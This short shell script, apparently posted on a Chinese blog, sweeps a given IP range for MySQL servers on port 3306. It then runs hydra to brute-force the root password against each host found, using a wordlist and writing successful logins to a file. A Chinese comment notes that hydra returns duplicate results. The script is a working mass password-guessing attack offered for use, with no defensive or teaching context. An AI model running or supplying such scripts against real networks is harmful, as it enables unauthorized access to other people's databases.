3306 scan script

#!/bin/sh
if [ $# != 1 ]
then
	echo Usage:$0  \(ip range\)
	exit 1
fi

rm Result.txt -f
s $1 3306 /save
cat Result.txt | awk '{print $1}' | uniq > host
if [[ `wc -l host | awk '{print $1}'` > 0 ]]
then
	hydra -l root -P word.lst -M host -f  mysql -e n -o good.txt
fi
hydra 扫描 结果会出现多个重复的结果 看来是任务的分配没搞好,。。。。

你可能感兴趣的:(3306 scan script)